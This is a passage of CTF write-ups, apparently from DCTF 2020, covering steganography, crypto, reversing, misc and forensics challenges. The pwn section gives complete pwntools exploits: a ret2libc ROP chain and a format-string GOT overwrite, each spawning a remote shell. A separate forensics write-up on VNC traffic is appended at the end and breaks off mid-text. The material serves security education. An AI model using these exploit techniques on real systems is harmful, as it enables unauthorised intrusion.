have your own stug pass hidden within?```We get a jpg image. The most obvious thing to try is *steghide*.First I tried to use steghide without a password, but that did not work. Then I noticed the task description again: `stug pass hidden within`. I then tried to extract using `stug` as password: ```shell$ steghide extract -sf stug.jpgEnter passphrase: wrote extracted data to "flag.txt".```flag.txt: `ctf{32849dd9d7e7b313c214a7b1d004b776b4af0cedd9730e6ca05ef725a18e38e1}` ## Crypto### bro64```python#!/usr/bin/env python3import jsonimport requests from base64 import b64decodefrom pprint import pprint from Crypto.Cipher import ChaCha20, Salsa20 # {"nonce": "TzMh7RxMJr8=", "ciphertext": "IynkKnGon3iK4oNSv59tqdLlpIowmfpiH88Vj1CjQBm3SvTcwTbrnY4q/UWKtJRu0M3v4sl+C0k8QFM8pdpyFCkE9Nur", "key": "Fidel_Alejandro_Castro_Ruz_Cuba!"} def main(url): res = requests.get(url) if res.status_code != 200: print("failed!") return res = json.loads(res.content) pprint(res) key = res["key"] nonce = b64decode(res["nonce"]) ciphertext = b64decode(res["ciphertext"]) print(f"key length: {len(key)}") print(f"ciphertext length: {len(ciphertext)}") print(f"nonce length: {len(nonce)}") #cipher = Salsa20.new(key=key.encode("utf-8"), nonce=nonce) #plaintext = cipher.decrypt(ciphertext) #print(plaintext) cipher = ChaCha20.new(key=key.encode("utf-8"), nonce=nonce) plaintext = cipher.decrypt(ciphertext) print(plaintext) if __name__ == "__main__": main("http://34.89.241.255:30013") # ctf{f38deb0782c0f252090a52b2f1a5b05bf2964272f65d5c3580be631f52f4b3e0}```tried to find a cipher that matched with the key length etc. We noticed that the length of the ciphertext wasn't a multiple of normal block sizes, so we assumed a stream cipher. Then we tried to find a stream cipher that used base64 encoded nonce, and a key size of 256 bit. after some trial and error we found out that ChaCha20 was a match. ### why-xorWe get a Python script```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ""s2 = ""# ['\x00', '\x00', '\x00'] at start of xored is the best hint you geta_list = [chr(ord(a) ^ ord(b)) for a,b in zip(s1, s2)]print(a_list)print("".join(a_list))``` There is also a hint here about the first 3 null bytes being the best hint we can get. Since we know that a flag usually starts with `ctf`, this is most likely the xor key. When xoring `ctf` with `ctf` we get three null bytes. I modified the script to use `ctf` as key:```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ''.join(xored)s2 = "ctf" * len(xored) # We need the key to be equal length or longer than the cipher text a_list = [chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)]print("".join(a_list))``` Running it yields `ctf{79f107231696395c004e87dd7709d3990f0d602a57e9f56ac428b31138bda258}` ## Pwn### bazooka```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 35.234.65.24 --port 30812 ./pwn_bazooka_bazookafrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./pwn_bazooka_bazooka') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '35.234.65.24'port = int(args.PORT or 30812) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''set follow-fork-mode parentset follow-exec-mode sameb *0x0000000000400757continue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.sendlineafter("Secret message: ", "#!@{try_hard3r}") pop_rdi = 0x00000000004008f3main = exe.symbols["main"] payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(exe.got["puts"])payload += p64(exe.plt["puts"])payload += p64(main)io.sendlineafter("Message: ", payload) io.recvuntil("Hacker alert")io.recvline()leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))log.info(f"leak: {hex(leak)}") if args.LOCAL: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")else: libc = ELF("libc6_2.27-3ubuntu1.3_amd64.so") libc.address = leak - libc.symbols["puts"]log.success(f"libc base: {hex(libc.address)}")payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(next(libc.search(b"/bin/sh")))payload += p64(pop_rdi+1) # ret gadget for stack alignmentpayload += p64(libc.symbols["system"])payload += p64(libc.symbols["exit"]) io.sendlineafter("Secret message: ", "#!@{try_hard3r}")io.sendlineafter("Message: ", payload) io.interactive() # ctf{9bb6df8e98240b46601db436ad276eaa635a846c9a5afa5b2075907adf39244b}``` Vulnerable function protected with password.The vuln is a buffer overflow. First we trigger the bug to leak the address of puts through the GOT.This enables us to find the base address of libc. We then trigger the bug a second time and ROP into `system("/bin/sh")`. ### darkmagic```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 34.89.250.23 --port 32440 ./darkmagicfrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./darkmagic') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '34.89.250.23'port = int(args.PORT or 32440) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''b *0x00000000004007FFcontinue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: Canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.recvline() writes = { exe.got["printf"]: exe.plt["system"] }payload = fmtstr_payload(8, writes=writes, write_size="byte")io.sendline(payload)io.sendline("/bin/sh;") io.interactive()# dctf{857ee5051eeccf7cbdfa0ab9986d32f89158429fc12348e15419a969ddcb6bfb}``` Format string vuln. Read + printf called in a loop. We use the first `printf()` call to overwrite `printf@GOT` with `system` (we have `system` in the PLT). The second `printf()` will then execute whatever we send after the format string payload. ## Reverse engineering### secret-reverseThis binary opens up a file `message.txt` and prints out the encoded version of it. Our target is to find some message contents, such that the encoded content becomes `46004746409548141804243297904243125193404843946697460795444349`. I quickly noticed that the output was of variable length, with only 1-2 letters output per input letter. With this, I brute-forced 2 and 2 letters at the time, picking the encoded message that was the closest match with the target. The original message was: `yes_i_am_a_criminal_mastermind_beaware`. Thus the flag becomes: `ctf{9b9972e4d59d0360b5f1b80a5bbd76c05d75df5b636576710a6271c668a10ac5}` Solution script:```pythonfrom subprocess import check_output, CalledProcessErrorfrom string import printable, ascii_lowercasefrom itertools import productfrom hashlib import sha256 ALPHA = ascii_lowercase +"_"TARGET = "46004746409548141804243297904243125193404843946697460795444349" def run(s): with open("message.txt","w") as fd: fd.write(s) try: out = check_output(["./rev_secret_secret.o"]) return out.strip().split(b"Encoded: ")[1].decode() except CalledProcessError: print(f"Input {s} crashed") return "" def score(s1, s2): for i in range(min([len(s1),len(s2)])): if s1[i] != s2[i]: return i return min([len(s1),len(s2)]) known = "yes_i_am_a_criminal_mastermind_beawa"best = 0beststrings = []for comb in product(ALPHA, repeat=2): T = known + ''.join(comb) out = run(T) if out == TARGET: print(f"ctf{{{sha256(T.encode()).hexdigest()}}}") break if (m := score(out, TARGET)) >= best: print(T, m, out) if m > best: beststrings = [T] best = m else: beststrings.append(T) print(best)print(beststrings)``` ### kalf-gameIn this challenge we are given a snake game written in rust. Since this is ahuge binary the first thing we did was to try and find something interestingrelated to the game. By looking at strings in IDA we quickly find these:* `Level finished!`* `is the victory level!`* `ctf{}`* etc. By following the xrefs to these strings we found an interesting function at`0xE53C0`. Even with the decompiler the code looks like crap, but we could seea lot of references to strings that look like part of the flag. At `0xE5A04`there's a check to see if some number is equal to 100000, and if it is the codeproceeds to print some interesting stuff. We assumed that this was the "win" check, and that the code is checking thelevel we are currently on. So we added a breakpoint to check. In gdb we couldverify that this value did in fact match the level. The solution was then tochange the level to 10000 and let the program continue running. The flag is puttogether and printed:`ctf{ddba6614a32456631c125eb1a4327c52686c71d909a92ec05ea5eb510eae81d9}` ### yopass-go```sh$ strings yopass-go/yopass | grep ctf*runtime.structfieldfound bad pointer in Go heap (incorrect use of unsafe or cgo?)runtime: internal error: misuse of lockOSThread/unlockOSThreadruntime.SetFinalizer: pointer not at beginning of allocated blockstrconv: internal error: extFloat.FixedDecimal called with n == 0runtime:greyobject: checkmarks finds unexpected unmarked object obj=ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}runtime: found space for saved base pointer, but no framepointer experiment/home/lucian/Desktop/ctf/yopass-go/yopass.go/home/lucian/Desktop/ctf/yopass-go/yopass.go[]runtime.structfieldruntime.structfieldruntime.structfield*runtime.structfield"[]runtime.structfield$runtime.structfield%runtime.structfield *runtime.structfield``` and there we go: `ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}` ### stripped-goused [golang_loader_assist.py](https://github.com/strazzere/golang_loader_assist) to recover symbols.main_main performs AES encryption with this passphrase: `thisis32bitlongpassphraseimusing`.and the message is: `g01sn0tf0rsk1d1e`. which means that the flag is ctf{sha256{g01sn0tf0rsk1d1e}} == ctf{a4e394ae892144a54c008a3b480a1b22a6b64dd26c4b0c9eba498330f511b51e} ### modern-loginWe quickly noticed the mp3 file that contained some Python files. We extracted the files by doing the following steps:1. Unzipping the APK and traversing to the `assets/` folder. 2. Running `file` showed us that `private.mp3` was a zipped folder. 3. Unzipping it revealed another `private.mp3` file which was a tar4. Extracting this as well provided us with several files, among them was `main.py`. At first, they just seemed like bundled files and we didn't check them out much. However, we looked at the files in the mobile file system after running the app. There, we found the same files. At this point we looked further into them. The most interesting file was `main.py`. It contained some functions to check the password and to XOR encrypt strings. Part of `main.py`:```S=leno=bytesv=enumerateW=printh=None def n(byt): q=b'viafrancetes' f=S(q) return o(c^q[i%f]for i,c in v(byt)) def d(s): y=n(s.encode()) return y.decode("utf-8")``` Running the `d()` function decrypted the XOR encrypted strings in the file. This revealed that `\x15\x1d\x07\x1dATX\x00P\x11RJG\r\x04VJW_S\x07L\x00J\x15\x0bQV\x13WZ\x07TB\x06A\x15\x0f\x02T\x10\x04^S\x07EV@\x10\r\x07\x07GPW[QFUAG]XVK\x02\rR\x18`was the flag: `ctf{356c5e791de08610b8e9cb00a64d16c2cfc2be00b133fdfa5198420214909cc1}` ### dumb-discordWe get a file to reverse: `server.cpython-36.pyc` This is a Python bytecode file that is easy to decompile using *Uncompyle6* ```shelluncompyle6 server.cpython-36.pyc > server.py``` When looking at the code we can see that this is a Discord bot ```pythonfrom discord.ext import commandsimport discord, jsonfrom discord.utils import get def obfuscate(byt): mask = b'ctf{tryharderdontstring}' lmask = len(mask) return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt)) def test(s): data = obfuscate(s.encode()) return data intents = discord.Intents.default()intents.members = Truecfg = open('config.json', 'r')tmpconfig = cfg.read()cfg.close()config = json.loads(tmpconfig)token = config[test('\x17\x1b\r\x1e\x1a').decode()] # tokenclient = commands.Bot(command_prefix='/') @client.eventasync def on_ready(): print('Connected to bot: {}'.format(client.user.name)) print('Bot ID: {}'.format(client.user.id)) @client.command()async def getflag(ctx): await ctx.send(test('\x13\x1b\x08\x1c').decode()) # pong @client.eventasync def on_message(message): await client.process_commands(message) if test('B\x04\x0f\x15\x13').decode() in message.content.lower(): # !ping await message.channel.send(test('\x13\x1b\x08\x1c').decode()) # pong if test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode() in message.content.lower(): # /getflag if message.author.id == 783473293554352141: role = discord.utils.get((message.author.guild.roles), name=(test('\x07\x17\x12\x1dFBKXO\x11\x1d\x07\x17\x16\n\n\x01]\x06\x1d').decode())) # dctf2020.cyberedu.ro member = discord.utils.get((message.author.guild.members), id=(message.author.id)) if role in member.roles: await message.channel.send(test(config[test('\x05\x18\x07\x1c').decode()])) # flag if test('L\x1c\x03\x17\x04').decode() in message.content.lower(): # /help await message.channel.send(test('7\x06\x1f[\x1c\x13\x0b\x0c\x04\x00E').decode()) # try harder! if '/s基ay' in message.content.lower(): await message.channel.send(message.content.replace('/s基ay', '').replace(test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode(), '')) # /getflag``` The script has an encode function that uses xor to obfuscate strings. We can see that the key is `ctf{tryharderdontstring}` After xoring all of the strings in the script with this key, we now know which commands that are available:- !ping- /getflag- /help- /s基ay We can also see that in order to get the flag stored in the config file, we need an author with ID **783473293554352141** to execute the `/getflag` command.This author also needs the `dctf2020.cyberedu.ro` role. My guess is that this is the ID of the bot. But where do we find the bot? It turns out that you can invite any bot to your own Discord server if you have the ID. Here is the link:https://discord.com/oauth2/authorize?client_id=783473293554352141&scope=bot&permissions=0 This user is called `DCTFTargetWhyNot`. Lets invite it to our own server ![](https://i.imgur.com/yEF7iDl.png) Now we just need to force the bot to execute the `/getflag` command, and the `/s基ay` command will help us with that. We can make the bot say anything if we pass an argument to this command. However, there are two replace methods that removes `/s基ay` and `/getflag` from our message. We can bypass this by making the `/getflag` command all uppercase, since the bot is converting all commands to lowercase. ![](https://i.imgur.com/hwRXfvJ.png) Oh no! Looks like the flag is also xor-encrypted, so we need to xor it with the same known key as we found earlier: `ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}` ## Misc### qr-maniaFirst we extracted all the pictures from the pcap using wiresharkevery picture is a QR code, so we wrote a script to dump the data from every code. qrtools was not able to deal with most of the qr codes as they were different colors, so we converted all of them into black/white pictures before decoding. the output didn't look like a flag, but we noticed that all the different parts of the flag was there (e.g. C, T, F, and {, }).After checking different things like the order the pictures were downloaded in, the date in every picture, etc. we found out that there was a comment in the EXIF data of every picture telling us the position of that picture. we used this to make an ordered list of the files: ```huquiiddfswdqalnctdi.pngrrhggrokkhbwadumtkhx.pngdglakvmqmabxcqlpgbjb.pngfbnribfqosqcgsbvslvz.pngytwlritcxznphymnsowe.pngejznsfmiucllxxespijz.pnghchwxnsotuqrtbrdmbmg.pngyzhfednrfjsvinsbbyhp.pngeiyhbbcrfnwncfsghmez.pngsuvwivhtpjkcdpcdurty.pngbiuwfrwgdocdypyliqyt.pngrmdueayyyacxcceysxtm.pnggtxiufelpdevwvcpejql.pngkxcgjifkviewjaiwydos.pngpvsyteygdilvpctcavzm.pngsrfedsijdcfewypfoeii.pngxfcbvnbakbgypttpslvk.pngdmdkaosivnyzxyzmglai.pngkbavpqschcbaxbezypla.pngloaaiwgsfohhebksrzve.pngrvvkzxxdoyzdechbpaiw.pngxsdkmqnnwrscbvbbprsw.pngvcdqnjgliurrsbczwljv.pngdfhwcysjjnrnhfziizlr.pngdwpgvvlipmmhlkulbrtt.pnghsqqemzyyeqczawnerdp.pngilymnjclovkuejytnwvi.pngjckteobzkpvxoqqrqovd.pnglilikwxihvrdnqsvepqz.pngzslcptglhdyldbzmlren.pngbynatxrryamhwwhmmroj.pngkamdmutdlzdoypbozuhz.pngoedfvuiyglrsmoociury.pngofqmletvbqbxzygbzdrh.pngrkdyzefqczfgxaqkqxpt.pngxcrtvutynuuswwpcqojs.pngyepskbbojoroewcotddo.pngcllzodvnyvvmbppaktsd.pngdhqclnghhlrjxjmhjzon.pngkzlibdjxvtbgtiaowvez.pngqpuohuugyhrhfaxdyqux.pngxgslqgwnecldbojahatx.pngkgzjqaffmkezutjdcqyw.pngkmziktrekxzaihwkocfj.pnglrhsihqzqeuisjlgoyky.pngnhbiyacdrbxgrutijbxi.pngeioshuilsoxydsahsfnl.pngrvvcnqbnbdslgdrwatrk.pngdtruebslzybqbiewkwjr.pngdwesxvndmatigdqdvcpr.pngnkmswrsvwrnmapsnillk.pngoyhwsqkdqheovawwlggm.pngpgkrzpxhehywhtmkjgsb.pngavudtreighimhcgmwape.pngkuimxqwkydzdfhvwzayz.pngyybbwqnirqzldfiheiyh.pngzstxtahbtgccautnswcf.pngszpzkekngxnasbbjwhhx.pngxhaffangdrxmuvdpurdh.pnguwjmnpykkkaoxdeesmxi.pngajxxcwfgozxpbhnauore.pnggzmshnrwkknmmitqnqzp.pnghfnkcgtjyeprtbaldxxk.pnglkvdwmunrarpuyqzdyne.pngjkfxjauvqodhqwzblgen.pngvuiwwzjdojhdlaaamzwb.pnglmmfdbfmheysbhbgjazn.pngwbuhqpnwfuovgdwoedoc.pngczguxctbmqgfgxhvnwzr.png``` with that list we could run our script again to get the flag:```python#!/usr/bin/env python3import qrtoolsimport osfrom PIL import Image def get_colors(pic): im = Image.open(pic, "r") pix = im.load() return set([pix[x,y] for y in range(im.size[1]) for x in range(im.size[0])]) def convert_colors(pic): im = Image.open(pic) white = ( 255, 255, 255 ) black = ( 0, 0, 0 ) pix = im.load() white_target = pix[0, 0] print(f"target: {white_target}") out = f"{pic[:-4]}_fixed.png" im2 = Image.new("RGB", im.size, (255, 255, 255)) pix2 = im2.load() for y in range(im.size[1]): for x in range(im.size[0]): if pix[x,y] == white_target: pix2[x,y] = white else: pix2[x,y] = black im2.save(out, "PNG") return out import re def main(file_list): with open(file_list, "r") as f: files = f.readlines() cnt = 0 res = {} for filename in files: filename = filename.rstrip() if ".png" not in filename: continue print(filename) fixed = convert_colors(filename) qr = qrtools.QR() qr.decode(fixed) print(f"{filename}: {qr.data}") if qr.data is None: print("failed!") break from subprocess import check_output out = check_output(f"exiftool {filename}", shell=True).decode("utf-8") m = re.search(r"Comment.*: ([0-9]+)/69", out) num = int(m[1]) res[num] = qr.data from pprint import pprint pprint(res) flag = "".join([res[i] for i in range(1, 69+1)]) print(flag) if __name__ == "__main__": main("files.txt")``` `CTF{2b2e8580cdf35896d75bfc4b1bafff6ee90f6c525da3b9a26dd7726bf2171396}`
# t3am_vi3w3r (forensics, 193p, 44 solved) ## Description ```I was helping my grandfather clean his PC and I lost the flag in the process. Find the flag. Flag format DCTF{sha256}``` In the task we get a 200MB pcap file (not attached). ## Task analysis Very large pcap with lots of random stuff.NetworkMiner didn't find anything very useful.We spent a lot of time trying to see something in this. Finally we thought that maybe we should check what port usually is used by TeamViewer -> `5938`. While we didn't have anything there, but there were some `VNC` packes on `5900`. ## Recovering data If we now do follow tcp stream on this `tcp.stream eq 413` we get some large block of data, which seems ascii-printable, just separated by lots of nullbytes all around. If we clear this up we get: ```CCoonnttrraarryy ttoo ppooppuullaarr bbeelliieeff,, LLoorreemm IIppssuumm iiss nnoott ssiimmppllyy rraannddoomm tteexxtt.. IItt hhaass rroooottss iinn aa ppiieeccee ooff ccllaassssiiccaall LLaattiinn lliitteerraattuurree ffrroomm 4455 BBCC,, mmaakkiinngg iitt oovveerr 22000000 yyeeaarrss oolldd.. RRiicchhaarrdd MMccCClliinnttoocckk,, aa LLaattiinn pprrooffeessssoorr aatt HHaammppddeenn--SSyyddnneeyy CCoolllleeggee iinn VViirrggiinniiaa,, llooookkeedd uupp oonnee ooff tthhee mmoorree oobbssccuurree LLaattiinn wwoorrddss,, ccoonnsseecctteettuurr,, ffrroomm aa LLoorreemm IIppssuumm ppaassssaaggee,, aanndd ggooiinngg tthhrroouugghh tthhee cciitteess ooff tthhee wwoorrdd iinn ccllaassssiiccaall lliitteerraattuurree,, ddiissccoovveerreedd tthhee uunnddoouubbttaabbllee ssoouurrccee.. LLoorreemm IIppssuumm ccoommeess ffrroomm sseeccttiioonnss 11..1100..3322 aanndd 11..1100..3333 ooff ddee FFiinniibbuuss BBoonnoorruumm eett MMaalloorruumm ((TThhee EExxttrreemmeess ooff GGoooodd aanndd EEvviill)) bbyy CCiicceerroo,, wwrriitttteenn iinn 4455 BBCC.. TThhiiss bbooookk iiss aa ttrreeaattiissee oonn tthhee tthheeoorryy ooff eetthhiiccss,, vveerryy ppooppuullaarr dduurriinngg tthhee RReennaaiissssaannccee.. TThhee ffiirrsstt lliinnee ooff LLoorreemm IIppssuumm,, LLoorreemm iippssuumm ddoolloorr ssiitt aammeett....,, ccoommeess ffrroomm aa lliinnee iinn sseeccttiioonn 11..1100..3322.. TThhee ssttaannddaarrdd cchhuunnkk ooff LLoorreemm IIppssuumm uusseedd ssiinnccee tthhee 11550000ss iiss rreepprroodduucceedd bbeellooww ffoorr tthhoossee iinntteerreesstteedd.. SSeeccttiioonnss 11..1100..3322 aanndd 11..1100..3333 ffrroomm ddee FFiinniibbuuss BBoonnoorruumm eett MMaalloorruumm bbyy CCiicceerroo aarree aallssoo rreepprroodduucceedd iinn tthheeiirr eexxaacctt oorriiggiinnaall ffoorrmm,, aaccccoommppaanniieedd bbyy EEnngglliisshh vveerrssiioonnss ffrroomm tthhee 11991144 ttrraannssllaattiioonn bbyy HH.. RRaacckkhhaamm.. DDCCTTFF{{7744aa00ff3355884411ddffaa77eeddddff55aa8877446677cc9900ddaa333355113322aaee5522cc5588ccaa444400ff3311aa5533448833cceeff77eeaacc}} WWhhyy ddoo wwee uussee iitt?? IItt iiss aa lloonngg eessttaabblliisshheedd ffaacctt tthhaatt aa rreeaaddeerr wwiillll bbee ddiissttrraacctteedd bbyy tthhee rreeaaddaabbllee ccoonntteenntt ooff aa ppaaggee wwhheenn llooookkiinngg aatt iittss llaayyoouutt.. TThhee ppooiinntt ooff uussiinngg LLoorreemm IIppssuumm iiss tthhaatt iitt hhaass aa mmoorree--oorr--lleessss nnoorrmmaall ddiissttrriibbuuttiioonn ooff lleetttteerrss,, aass ooppppoosseedd ttoo uussiinngg CCoonntteenntt hheerree,, ccoonntteenntt hheerree,, mmaakkiinngg iitt llooookk lliikkee rreeaaddaabbllee EEnngglliisshh.. MMaannyy ddeesskkttoopp ppuubblliisshhiinngg ppaacckkaaggeess aanndd wweebb ppaaggee eeddiittoorrss nnooww uussee LLoorreemm IIppssuumm aass tthheeiirr ddeeffaauulltt mmooddeell tteexxtt,, aanndd aa sseeaarrcchh ffoorr lloorreemm iippssuumm wwiillll uunnccoovveerr mmaannyy wweebb ssiitteess ssttiillll iinn tthheeiirr iinnffaannccyy.. VVaarriioouuss vveerrssiioonnss hhaavvee eevvoollvveedd oovveerr tthhee yyeeaarrss,, ssoommeettiimmeess bbyy aacccciiddeenntt,, ssoommeettiimmeess oonn ppuurrppoossee ((iinnjjeecctteedd hhuummoouurr aanndd tthhee lliikkee)).. WWhheerree ddooeess iitt ccoommee ffrroomm?? CCoonnttrraarryy ttoo ppooppuullaarr bbeelliieeff,, LLoorreemm IIppssuumm iiss nnoott ssiimmppllyy rraannddoomm tteexxtt.. IItt hhaass rroooottss iinn aa ppiieeccee ooff ccllaassssiiccaall LLaattiinn lliitteerraattuurree ffrroomm 4455 BBCC,, mmaakkiinngg iitt oovveerr 22000000 yyeeaarrss oolldd.. RRiicchhaarrdd MMccCClliinnttoocckk,, aa LLaattiinn pprrooffeessssoorr aatt HHaammppddeenn--SSyyddnneeyy CCoolllleeggee iinn VViirrggiinniiaa,, llooookkeedd uupp oonnee ooff tthhee mmoorree oobbssccuurree LLaattiinn wwoorrddss,, ccoonnsseecctteettuurr,, ffrroomm aa LLoorreemm IIppssuumm ppaassssaaggee,, aanndd ggooiinngg tthhrroouugghh tthhee cciitteess ooff tthhee wwoorrdd iinn ccllaassssiiccaall lliitteerraattuurree,, ddiissccoovveerreedd tthhee uunnddoouubbttaabbllee ssoouurrccee.. LLoorreemm IIppssuumm ccoommeess ffrroomm sseeccttiioonnss 11..1100..3322 aanndd 11..1100..3333 ooff ddee FFiinniibbuuss BBoonnoorruumm eett MMaalloorruumm ((TThhee EExxttrreemmeess ooff GGoooodd aanndd EEvviill)) bbyy CCiicceerroo,, wwrriitttteenn iinn 4455 BBCC.. TThhiiss bbooookk iiss aa ttrreeaattiissee oonn tthhee tthheeoorryy ooff eetthhiiccss,, vveerryy ppooppuullaarr dduurriinngg tthhee RReennaaiissssaannccee.. TThhee ffiirrsstt lliinnee ooff LLoorreemm IIppssuumm,, LLoorreemm iippssuumm ddoolloorr ssiitt aammeett....,, ccoommeess ffrroomm aa lliinnee iinn sseeccttiioonn 11..1100..3322.. TThhee ssttaannddaarrdd cchhuunnkk ooff LLoorreemm IIppssuumm uusseedd ssiinnccee tthhee 11550000ss iiss rreepprroodduucceedd bbeellooww ffoorr tthhoossee iinntteerreesstteedd.. SSeeccttiioonnss 11..1100..3322 aanndd 11..1100..3333 ffrroomm ddee FFiinniibbuuss BBoonnoorruumm eett MMaalloorruumm bbyy CCiicceerroo aarree aallssoo rreepprroodduucceedd iinn tthheeiirr eexxaacctt oorriiggiinnaall ffoorrmm,, aaccccoommppaanniieedd bbyy EEnngglliisshh vveerrssiioonnss ffrroomm tthhee 11991144 ttrraannssllaattiioonn bbyy HH.. RRaacckkhhaamm.. WWhheerree ccaann II ggeett ssoommee?? TThheerree aarree mmaannyy vvaarriiaattiioonnss ooff ppaassssaaggeess ooff LLoorreemm IIppssuumm aavvaaiillaabbllee,, bbuutt tthhee mmaajjoorriittyy hhaavvee ssuuffffeerreedd aalltteerraattiioonn iinn ssoommee ffoorrmm,, bbyy iinnjjeecctteedd hhuummoouurr,, oorr rraannddoommiisseedd wwoorrddss wwhhiicchh ddoonntt llooookk eevveenn sslliigghhttllyy bbeelliieevvaabbllee.. IIff yyoouu aarree ggooiinngg ttoo uussee aa ppaassssaaggee ooff LLoorreemm IIppssuumm,, yyoouu nneeeedd ttoo bbee ssuurree tthheerree iissnntt aannyytthhiinngg eemmbbaarrrraassssiinngg hhiiddddeenn iinn tthhee mmiiddddllee ooff tteexxtt.. AAllll tthhee LLoorreemm IIppssuumm ggeenneerraattoorrss oonn tthhee IInntteerrnneett tteenndd ttoo rreeppeeaatt pprreeddeeffiinneedd cchhuunnkkss aass nneecceessssaarryy,, mmaakkiinngg tthhiiss tthhee ffiirrsstt ttrruuee ggeenneerraattoorr oonn tthhee IInntteerrnneett.. IItt uusseess aa ddiiccttiioonnaarryy ooff oovveerr 220000 LLaattiinn wwoorrddss,, ccoommbbiinneedd wwiitthh aa hhaannddffuull ooff mmooddeell sseenntteennccee ssttrruuccttuurreess,, ttoo ggeenneerraattee LLoorreemm IIppssuumm wwhhiicchh llooookkss rreeaassoonnaabbllee.. TThhee ggeenneerraatteedd LLoorreemm IIppssuumm iiss tthheerreeffoorree aallwwaayyss ffrreeee ffrroomm rreeppeettiittiioonn,, iinnjjeecctteedd hhuummoouurr,, oorr nnoonn--cchhaarraacctteerriissttiicc wwoorrddss eettcc..``` And now if we do `data[::2]` we have nice: ``` Contrary to popular belief, Lorem Ipsum is not simply random text. It has rootsin a piece of classical Latin literature from 45 BC, making it over 2000 years old. Richard McClintock, a Latin professor at Hampden-Sydney College in Virginia, looked up one of the more obscure Latin words, consectetur, from a Lorem Ipsumpassage, and going through the cites of the word in classical literature, discovered the undoubtable source. Lorem Ipsum comes from sections 1.10.32 and 1.10.33 of de Finibus Bonorum et Malorum (The Extremes of Good and Evil) by Cicero, written in 45 BC. This book is a treatise on the theory of ethics, very popular during the Renaissance. The first line of Lorem Ipsum, Lorem ipsum dolor sit amet.., comes from a line in section 1.10.32.The standard chunk of Lorem Ipsum used since the 1500s is reproduced below for those interested. Sections 1.10.32 and 1.10.33 from de Finibus Bonorum et Malorum by Cicero are also reproduced in their exact original form, accompanied by English versions from the 1914 translation by H. Rackham.DCTF{74a0f35841dfa7eddf5a87467c90da335132ae52c58ca440f31a53483cef7eac}Why do we use it?It is a long established fact that a reader will be distracted by the readable content of a page when looking at its layout. The point of using Lorem Ipsum is that it has a more-or-less normal distribution of letters, as opposed to using Content here, content here, making it look like readable English. Many desktop publishing packages and web page editors now use Lorem Ipsum as their default model text, and a search for lorem ipsum will uncover many web sites still in their infancy. Various versions have evolved over the years, sometimes by accident, sometimes on purpose (injected humour and the like).Where does it come from?Contrary to popular belief, Lorem Ipsum is not simply random text. It has rootsin a piece of classical Latin literature from 45 BC, making it over 2000 years old. Richard McClintock, a Latin professor at Hampden-Sydney College in Virginia, looked up one of 